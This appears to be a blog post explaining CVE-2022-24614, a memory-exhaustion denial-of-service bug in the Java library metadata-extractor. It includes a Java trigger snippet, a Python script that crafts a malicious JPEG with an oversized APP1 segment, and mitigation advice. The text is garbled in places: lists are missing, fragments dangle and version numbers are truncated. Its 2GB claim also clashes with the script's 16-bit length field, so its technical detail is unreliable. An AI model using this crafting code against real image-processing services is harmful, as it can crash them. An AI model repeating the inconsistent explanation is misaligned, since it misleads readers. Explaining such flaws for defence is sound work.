Summary:
This post explains CVE-2022-24614, a Denial of Service (DoS) vulnerability in the popular Java library metadata-extractor up to version 2.16.. We’ll walk through:
What is metadata-extractor?
metadata-extractor is an open-source Java library that reads metadata from image files (JPEG, PNG, etc.). It’s popular for applications or services that need to process images and grab EXIF or IPTC data—think image uploaders, galleries, machine learning preprocessors, and so on.
What is CVE-2022-24614?
*CVE-2022-24614* (MITRE link) describes a flaw where opening a malicious JPEG file can cause the library to allocate tons of memory—a “billion laughs”-style attack for image processing.
...so that the server or process runs out of memory and crashes
This is a classic Denial of Service attack—making something do stupid things with carefully crafted input.
How does it work?
The root cause is the way metadata-extractor processes the JPEG’s metadata segments, especially the XMP or IPTC parts inside APP1 marker segments.
In affected versions, the library does not limit memory allocation when parsing these fields. An attacker can craft a JPEG header that claims to have a gigantic metadata block (say, 2GB+), and the library will believe it! It tries to allocate a buffer that big, which almost always leads to an OutOfMemoryException.
The JPEG is valid enough to pass initial checks
- Inside the file, the APP1 segment (where EXIF or XMP lives) contains a small payload but says, “I have 200000000 bytes, please read!”
Imagine a basic Java servlet that lets users upload images and reads metadata
import com.drew.imaging.ImageMetadataReader;
import java.io.File;
import java.io.IOException;
public class Example {
public static void main(String[] args) throws Exception {
File jpegFile = new File("evil.jpg");
// The evil.jpg is a tiny file, but...
ImageMetadataReader.readMetadata(jpegFile);
System.out.println("Metadata extracted!");
}
}
If evil.jpg has the bogus metadata block, running this code can bring down your JVM.
Making a Malicious JPEG
You can generate a malicious file with a Python script, or use tools like badsumimg (for image fuzzing). Here’s a simple code snippet to hack together a JPEG with an overlarge APP1 segment using Python:
with open("evil.jpg", "wb") as f:
# SOI marker
f.write(b'\xFF\xD8')
# APP1 marker
f.write(b'\xFF\xE1')
# APP1 size (e.g., xFFFF = 65535 bytes) but can put more to test
f.write(b'\xFF\xFF')
# Some EXIF header bytes (simulate a start)
f.write(b'Exif\x00\x00')
# Fill until file looks big (but file itself remains small)
f.write(b'\x00' * 100)
# EOI marker
f.write(b'\xFF\xD9')
Modify the size field for more interesting failures.
Real-World DoS
If your web app, photo service, or backend uses metadata-extractor (up to v2.16.) to process user-uploaded images “immediately” after upload, an attacker can upload a boobytrapped JPEG as shown above. The server will either:
- Vulnerability Description
- Official Advisory
- MITRE
Best Practices: How to Stay Safe
1. Patch to version 2.17. or later
This version fixes the issue by limiting how much memory can be allocated for metadata blocks.
2. Don’t Trust User Content
Always validate incoming files before feeding them into third-party libraries (consider file size, header fields, etc).
3. Sandbox & Monitor
Especially for services that process untrusted images—run them in limited-memory containers and watch their memory usage.
4. Consider Defensive Coding
Wrap metadata extraction in try/catch blocks and enforce memory/timeouts.
TL;DR (Too Long; Didn’t Read)
- CVE-2022-24614 can crash any Java app using metadata-extractor ≤2.16. by sending a tiny JPEG with a huge “metadata block” header.
Final Word
Seemingly-harmless actions—like reading a photo’s metadata—can *still* open the door to catastrophic attacks. Always keep your dependencies patched, and *never* take file uploads for granted!
Stay safe out there.
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Timeline
Published on: 02/24/2022 15:15:00 UTC
Last modified on: 03/02/2022 18:29:00 UTC